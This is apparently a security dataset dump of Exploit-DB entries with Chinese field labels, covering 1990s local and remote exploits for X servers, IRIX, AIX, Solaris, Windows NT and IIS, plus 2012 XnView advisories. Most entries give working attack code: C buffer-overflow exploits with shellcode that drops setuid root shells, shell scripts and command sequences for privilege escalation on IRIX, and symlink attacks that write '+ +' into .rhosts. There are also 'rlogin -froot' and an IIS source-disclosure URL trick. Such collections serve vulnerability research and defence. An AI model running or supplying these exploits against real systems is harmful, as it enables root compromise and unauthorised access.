QLWD/code_shield huggingface dataset:
标题: Xi Graphics Accelerated X 4.0.x/5.0 - Local Buffer Overflow EDB-ID: 19370 CVE: 1999-0778 类型: LOCAL 平台: LINUX 发布日期: 1999-06-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/488/info

Accelerated-X, also known as Accel-X, is a popular commercial X server available from Xi Graphics. The servers are normally installed setuid root, and contain multiple buffer overflow vulnerabilities. These vulnerabilities were found in the passing of oversized command line arguments to the servers causing the stack to be overwritten and the flow of execution for the Xserver changed. Two of these vulnerabilities is known to be related to the -query argument and the DISPLAY environment variable, upon neither of which is bounds checking performed. The consequence of these vulnerabilities being exploited is local root compromise.

--- SDIaccelX.c ----
/*
* SDI linux exploit for Accelerate-X
* Sekure SDI - Brazilian Information Security Team
* by c0nd0r <condor@sekure.org>
*
* This script will exploit a vulnerability found by KSRT team
* in the Accelerate-X Xserver [<=5.0].
*
* --------------------------------------------------------------------
* The vulnerable buffer was small so we've changed the usual order to:
* [garbage][eip][lots nop][shellcode]
* BTW, I've also changed the code to execute, it will create a setuid
* shell owned by the superuser at /tmp/sh.
* --------------------------------------------------------------------
*
* Warning: DO NOT USE THIS TOOL FOR ILICIT ACTIVITIES! We take no
* responsability.
*
* Greets to jamez, bishop, bahamas, stderr, dumped, paranoia,
* marty (NORDO!), vader, fcon, slide, c_orb and
* specially to my sasazita. Also toxyn.org, pulhas.org,
* superbofh.org (Phibernet rox) and el8.org.
*
* Laughs - lame guys who hacked the senado/planalto.gov.br
* pay some attention to the site: securityfocus.com (good point).
* see you at #uground (irc.brasnet.org)
*/

#include <stdio.h>

/* generic shellcode */
char shellcode[] =
"\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
"\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
"\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff"
"/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";

main ( int argc, char *argv[] ) {
char buf[1024];
int x, y, offset=1000;
long addr;
int joe;

if (argc > 1)
offset = atoi ( argv[1]);

/* return address */
addr = (long) &joe + offset;

buf[0] = ':';
for ( x = 1; x < 53; x++)
buf[x] = 'X';

buf[x++] = (addr & 0x000000ff);
buf[x++] = (addr & 0x0000ff00) >> 8;
buf[x++] = (addr & 0x00ff0000) >> 16;
buf[x++] = (addr & 0xff000000) >> 24;

for ( ; x < 500; x++)
buf[x] = 0x90;

for ( y = 0; y < strlen(shellcode); y++, x++)
buf[x] = shellcode[y];

fprintf (stderr, "\nSDI Xaccel - Offset: %d | Addr: 0x%x\n\n",
offset, addr);

buf[strlen(buf)] = '\0';

execl ( "/usr/X11R6/bin/Xaccel", "Xaccel", buf, (char *)0);

// setenv ( "EGG", buf, 1);
// system ( "/bin/sh");

}
----- EOF ---------- URL: https://www.exploit-db.com/exploits/19370
标题: Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4 / NT 3.5.1/SP1/SP2/SP3/SP4/SP5 - Screensaver EDB-ID: 19359 CVE: 1999-0382 类型: LOCAL 平台: WINDOWS 发布日期: 1999-03-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/474/info

When the computer is idle for the set time period (user definable) Winlogon.exe starts the screensaver. The screen saver process is selectable by the user. Winlogon.exe uses the CreateProcessAPI call to start the screen saver and immediately suspends it. At this point the screen saver is running with the security context of Winlogon.exe (system). Winlogon obtains the process handle, changes the primary security token of the screen saver to match the current user, and resumes the screen saver. Winlogon never verifies that the token change was successful. Therefore, a user could create an executable, set it as the screen saver, and should the security change fail it will run with full system-level privileges. 

This exploit and description provided by Cybermedia Software Private Limited.

The simulation consists of one 32-bit application say BEADMIN.EXE and one MS-DOS based application, say SCRNSAVE.EXE. The BEADMIN.EXE when started does the following Creates one event in â??not-signalâ??ed state Sets up the screen saver. The screen saver executable is specified as SCRNSAVE.EXE and the timeout is set to minimum. . BEADMIN.EXE now waits on the event. After some time, the screen saver is triggered. This results in Winlogon.Exe spawning SCRNSAVE.EXE. Since the CreateProcess call returns junk handle to Winlogon.Exe, the setting of primary token fails. Hence the SCRNSAVE.EXE application (NTVDM.EXE) runs in System Context. This SCRNSAVE.EXE again spawns BEADMIN.EXE application. Now this second copy of BEADMIN.EXE inherits the security context of NTVDM which is System Context. This application adds the logged in user to admin group and signals the event on which first instance of BEADMIN.EXE is waiting. In response to this the first copy of BEADMIN.EXE resets back the Screen Saver settings and quits. The logged in user name is passed between the first and second copy of BEADMIN.EXE using shared section. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19359.zip URL: https://www.exploit-db.com/exploits/19359
标题: Microsoft IIS 3.0/4.0 - Double Byte Code Page EDB-ID: 19361 CVE: 1999-0725 类型: REMOTE 平台: WINDOWS 发布日期: 1999-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/477/info


This vulnerability could allow a web site viewer to obtain the source code for .asp and similar files if the server's default language (Input Locale) is set to Chinese, Japanese or Korean. How this works is as follows:

IIS checks the extension of the requested file to see if it needs to do any processing before delivering the information. If the requested extension is not on it's list, it then makes any language-based calculations, and delivers the file. If a single byte is appended to the end of the URL when IIS to set to use one of the double-byte language packs (Chinese, Japanese, or Korean) the language module will strip it as invalid, then look for the file. Since the new URL now points to a valid filename, and IIS has already determined that this transaction requires no processing, the file is simply delivered as is, exposing the source code. 

Request a URL of a known-good file that requires server processing, then append a hex value between x81 and xfe to the URL. For example: <http://myhost/main.asp%81>. If your server is vulnerable you will receive back the source code of your .asp file. URL: https://www.exploit-db.com/exploits/19361
标题: SGI IRIX 6.2 - SpaceWare EDB-ID: 19357 CVE: 1999-1399 类型: DOS 平台: IRIX 发布日期: 1996-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/471/info

The SpaceBall game, shipped with Irix 6.2 from Silicon Graphics contains a security hole which could result in the compromise of the root account. By blindly taking the contents of the $HOSTNAME variable, and not placing quotes around it, the spaceball.sh program can be made to execute commands.

#!/bin/sh
SWDIR=/usr/local/SpaceWare
cp /bin/sh /tmp/sh
echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
echo 6 | HOSTNAME="/bin/chown root /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
/tmp/sh URL: https://www.exploit-db.com/exploits/19357
标题: SGI IRIX 5.1/5.2 - 'sgihelp' Local Privilege Escalation EDB-ID: 19354 CVE: 1999-1219 类型: LOCAL 平台: AIX 发布日期: 1996-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/468/info

The sgihelp program, from SGI and included with IRIX 5.1 and 5.2, contains a vulnerability. sgihelp contains an option that allows a user to print to a command. Certain SGI utilities, including PrintStatus, printers, scanners, and a number of others, will call this program without changing their uid to the users, from roots. As such, arbitrary commands can be executed as root using the 'print to command' option of sgihelp.

Run PrintStatus
Press the 'help' button.
Select the 'print to command' option. This will allow you to execute anything as root. URL: https://www.exploit-db.com/exploits/19354
标题: SGI IRIX 6.3 - 'Systour' / 'OutOfBox' Local Privilege Escalation EDB-ID: 19356 CVE: 1999-1384 类型: LOCAL 平台: IRIX 发布日期: 1996-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/470/info

A vulnerability exists in both the Systour and OutOfBox susbsystems included with new installs of IRIX 5.x and 6.x from SGI. This vulnerability allows users on the system to run arbitrary commands as root. 

$ rbase=$HOME; export rbase
$ mkdir -p $HOME/var/inst
$ echo "dryrun: true" > $HOME/.swmgrrc
$ cp -p /bin/sh /tmp/foobar
$ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops
$ chmod a+x $HOME/var/inst/.exitops
$ /usr/lib/tour/bin/RemoveSystemTour
Executing outstanding exit-commands from previous session ..
Successfully completed exit-commands from previous session.
Reading installation history
Checking dependencies
ERROR : Software Manager: automatic installation failed: New
target (nothing installed) and no distribution. URL: https://www.exploit-db.com/exploits/19356
标题: Solaris 2.5.1 - License Manager EDB-ID: 19350 CVE: 1999-0051 类型: LOCAL 平台: SOLARIS 发布日期: 1998-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/461/info

The Solaris License Manager that ships with versions 2.5.1 and 2.6 is vulnerable to multiple symlink attacks. License Manager creates lockfiles owned by root and set mode 666 which it writes to regularily. It follows symlinks.


bash$ ls -l /var/tmp/lock*
-rw-rw-rw- 1 root root 0 Oct 21 18:24 /var/tmp/lockESRI
-rw-rw-rw- 1 root root 0 Oct 21 16:40 /var/tmp/lockISE-TCADd
-rw-rw-rw- 1 root root 0 Oct 21 14:29 /var/tmp/lockalta
-rw-rw-rw- 1 root root 0 Oct 21 18:52 /var/tmp/lockansysd
-rw-rw-rw- 1 root root 0 Oct 21 18:52 /var/tmp/lockasterxd
-rw-rw-rw- 1 root root 0 Oct 21 16:40 /var/tmp/lockhpeesofd
-rw-rw-rw- 1 root root 0 Oct 21 18:46 /var/tmp/locksuntechd


And:

bash$ ls -l /var/tmp/.flexlm
total 2
-rw-rw-rw- 1 root root 163 Oct 21 19:55 lmgrd.211



There are several lockfiles created by the License Manager. It is trivial to gain root access locally through exploitation of this vulnerability. 

------
#!/bin/csh -f
# Change target user name before running
# Iconoclast@thepentagon.com 10/98
rm /tmp/locksuntechd
ln -s ~targetuser/.rhosts /tmp/locksuntechd
exit
------
then wait a min and cat + + >> ~targetuser/.rhosts URL: https://www.exploit-db.com/exploits/19350
标题: SGI IRIX 6.4 - 'suid_exec' Local Privilege Escalation EDB-ID: 19353 CVE: 1999-1114 类型: LOCAL 平台: IRIX 发布日期: 1996-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/467/info

A vulnerability exists in the 'suid_exec' utility, as shipped by SGI with it's Irix operating system, versions 5.x and 6.x. Suid_exec is part of the Korn shell package, and was originally the mechanism by which ksh executed setuid shell scripts safely. However, it runs using the default shell, and as such will run the configuration files for the shell, such as a .cshrc. By placing malicious code in a .cshrc, and properly running suid_exec, commands can be executed as root. 


% setenv | grep SHELL
SHELL=/bin/tcsh
% mv ~/.cshrc ~/.cshrc.old
% cat > ~/.cshrc
cp /bin/sh /tmp
chmod a+rsx /tmp/sh
^D
% cat > expl.c
main()
{
execl("/sbin/suid_exec","/bin/su","/bin/su",0);
}
^D
% cc expl.c -o expl.c
% ./expl
Too many ('s.
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 2 19:21 /tmp/sh* URL: https://www.exploit-db.com/exploits/19353
标题: SGI IRIX 5.2/5.3 - 'serial_ports' Local Privilege Escalation EDB-ID: 19351 CVE: 1999-1022 类型: LOCAL 平台: IRIX 发布日期: 1994-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/464/info


A race condition exists in the serial_ports administrative program, as included by SGI in the 5.x Irix operating system. This race condition allows regular users to execute arbitrary commands as root.


cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
chmod 755 /tmp/ls
cd /tmp
set PATH=( . $PATH )
/usr/lib/vadmin/serial_ports
# wait about 10-20 seconds and hit ^C, or wait for it to
# die out completely
/tmp/foo
# whoami
root URL: https://www.exploit-db.com/exploits/19351
标题: IBM AIX 3.2.5 - 'login(1)' Privilege Escalation EDB-ID: 19348 CVE: 1999-0113 类型: REMOTE 平台: AIX 发布日期: 1996-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/458/info

A problem with the way login parses arguments as passed by rlogind that may allow access to the root account. 

%rlogin -froot targethost.com URL: https://www.exploit-db.com/exploits/19348
标题: SGI IRIX 6.4 - 'xfsdump' Local Privilege Escalation EDB-ID: 19358 CVE: 1999-1398 类型: LOCAL 平台: IRIX 发布日期: 1997-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/472/info

The xfsdump program shipped with Irix 5.x and 6.x from SGI contains a vulnerability which could lead to root compromise. By creating a log file in /usr/tmp called bck.log, a user could create a symbolic link from this file to any file they wish to be created as root. This is turn could be used to compromise the system.

ln -sf /.rhosts /usr/tmp/bck.log URL: https://www.exploit-db.com/exploits/19358
标题: SGI IRIX 6.4 - 'startmidi' Local Privilege Escalation EDB-ID: 19355 CVE: 1999-0959 类型: LOCAL 平台: IRIX 发布日期: 1997-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/469/info

A vulnerability exists in the startmidi program from Silicon Graphics. This utility is included with Irix versions 5.x and 6.x with the Iris Digital Media Execution Environment. startmidi is setuid root, and creates a temporary file called /tmp/.midipid. It does not check to see if this file already exists, and is a symbolic link. As such, it can be used to create root owned files, with permissions as set by the user umask.


% umask 0
% ln -s /blardyblar /tmp/.midipid
% startmidi -d /dev/ttyd1
% ls -l /blardyblar
-rw-rw-rw- 1 root pgrad 0 Feb 9 17:46 /blardyblar
% stopmidi -d /dev/ttyd1
% URL: https://www.exploit-db.com/exploits/19355
标题: SGI IRIX 6.3 - 'pset' Local Privilege Escalation EDB-ID: 19347 CVE: 1999-0026 类型: LOCAL 平台: IRIX 发布日期: 1997-07-17 漏洞利用脚本: // source: https://www.securityfocus.com/bid/457/info

The pset utility, as shipped by SGI with Irix 5.x and 6.x through 6.3, contains a buffer overflow, which can allow any user on the system to execute arbitrary code on the machine as root. Pset is used to configure and administer processor groups in multiprocessor systems. By supplying a well crafted, long buffer as an argument, the return address on the stack is overwritten, allowing an attacker to execute code other than that which was intended. 

/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/

/* This one gives you egid=0(sys) */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 4172
#define OFFS 816
#define ADDRS 8
#define ALIGN 3
#define ALIGN2 1

char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
/*
char nop[]="\x24\x0f\x12\x34";
*/
char nop[]="\x01\x20\x48\x25";

void run(unsigned char *buf) {
  execl("/sbin/pset","lsd","-s","666",buf,NULL);
  printf("execl failed\n");
}

char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";

/*
unsigned long get_sp(void) {
__asm__("or     $2,$sp,$0");
}
*/
main(int argc, char *argv[]) {
  char *buf, *ptr, addr[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop);

  if (argc >1) bufsize=atoi(argv[1]);
  if (argc >2) offs=atoi(argv[2]);
  if (argc >3) addrs=atoi(argv[3]);
  if (argc >4) align=atoi(argv[4]);

  if (bufsize<strlen(asmcode)) {
    printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
    exit(1);
  }
  if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
    printf("Can't malloc\n");
    exit(1);
  }

  *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  printf("address=%p\n", *(int *)addr);

  strcpy(buf,nop);
  ptr=buf+noplen;
  buf+=align;
  for(i=0;i<bufsize;i++)
   *ptr++=nop[i%noplen];
  memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  for(i=0;i<ALIGN2;i++)
   *ptr++=nop[i%noplen];
  for(i=0;i<(addrs<<2);i++)
   *ptr++=addr[i%sizeof(int)];
  *ptr=0;
  printf("buflen=%d\n", strlen(buf));
  fflush(stdout);

  run(buf);
} URL: https://www.exploit-db.com/exploits/19347
标题: IBM AIX 4.2.1 - 'lquerypv' File Read EDB-ID: 19345 CVE: 1999-1117 类型: LOCAL 平台: AIX 发布日期: 1996-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/455/info

There exists a vulnerability in the lquerypv command under AIX. By using the '-h' flaq, a user may read any file on the file system in hex format. 


/usr/sbin/lquerypv -h /pathtofilename URL: https://www.exploit-db.com/exploits/19345
标题: XnView 1.98.8 - '.tiff' Image Processing Heap Overflow (2) EDB-ID: 19338 CVE: 2012-0276 类型: DOS 平台: WINDOWS 发布日期: 2012-06-22 漏洞利用脚本: #####################################################################################

Application:   XnView TIFF Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48666    

{PRL}:   2012-15

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
Insufficient validation when decompressing SGI32LogLum compressed TIFF
images can be exploited to cause a heap-based buffer overflow.
 
The vulnerabilities are confirmed in version 1.98.8. Other versions may also be affected

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-15.tif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19338.tif URL: https://www.exploit-db.com/exploits/19338
标题: XnView 1.98.8 - '.PCT' Image Processing Heap Overflow EDB-ID: 19336 CVE: 2012-0277 类型: DOS 平台: WINDOWS 发布日期: 2012-06-22 漏洞利用脚本: #####################################################################################

Application:   XnView PCT Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48666  

{PRL}:   2012-17

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
Insufficient validation when decompressing PCT images can be exploited
to cause a heap-based buffer overflow.
 
The vulnerabilities are confirmed in version 1.98.8. Other versions may also be affected

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-17.pct
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19336.pct URL: https://www.exploit-db.com/exploits/19336
标题: XnView 1.98.8 - '.tiff' Image Processing Heap Overflow (1) EDB-ID: 19337 CVE: 2012-0276 类型: DOS 平台: WINDOWS 发布日期: 2012-06-22 漏洞利用脚本: #####################################################################################

Application:   XnView TIFF Image Processing Heap Overflow
Platforms:   Windows 

Secunia:   SA48666  

{PRL}:   2012-16

Author:   Francis Provencher (Protek Research Lab's) 

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============
XnView is a cross-platform image viewer used for viewing, converting, organising and editing graphical & video files.
It is free of charge for private, educational and non-profit organisations. For commercial use and distribution,
the user must register the program. It is popular with users as it provides features normally found only
in commercial image viewers.

(http://en.wikipedia.org/wiki/XnView)

#####################################################################################

============================
2) Report Timeline
============================ 

2012-05-15  Vulnerability reported to Secunia
2012-06-21  Vendor disclose patch


#####################################################################################

============================
3) Technical details
============================
Insufficient validation when decompressing SGI32LogLum compressed TIFF
images where the PhotometricInterpretation encoding is set to LogL can
be exploited to cause a heap-based buffer overflow.
 
The vulnerabilities are confirmed in version 1.98.8. Other versions may also be affected

#####################################################################################

===========
4) The Code
===========

http://protekresearchlab.com/exploits/PRL-2012-16.tiff
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19337.tiff URL: https://www.exploit-db.com/exploits/19337
标题: FreeBSD 3.1 / Solaris 2.6 - Domain Socket EDB-ID: 19346 CVE: 1999-1402 类型: LOCAL 平台: FREEBSD 发布日期: 1997-06-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/456/info


Solaris 2.6 and many other unices/clones have a serious problem with their unix domain socket implementation that has it's origins in old BSD code. Any unix socket created by any application is set mode 4777. In Solaris versions 2.5 and earlier, the permissions were ignored completely. The applications are vulnerable to being connected to and written to by anyone. This could lead to a whole number of application-specific security compromises. 

Here is some sample code (by Nirva):

#include <stdio.h>
#include <stdlib.h>
#include <sys/un.h>
#include <sys/socket.h>

main(int argc, char *argv[])
{
struct sockaddr_un addr;
int s;

s = socket(AF_UNIX, SOCK_STREAM, 0);

bzero(&addr, sizeof(addr));
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/yoursocket");
if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind");
exit(1);
}
sleep(100);

exit(0);
} URL: https://www.exploit-db.com/exploits/19346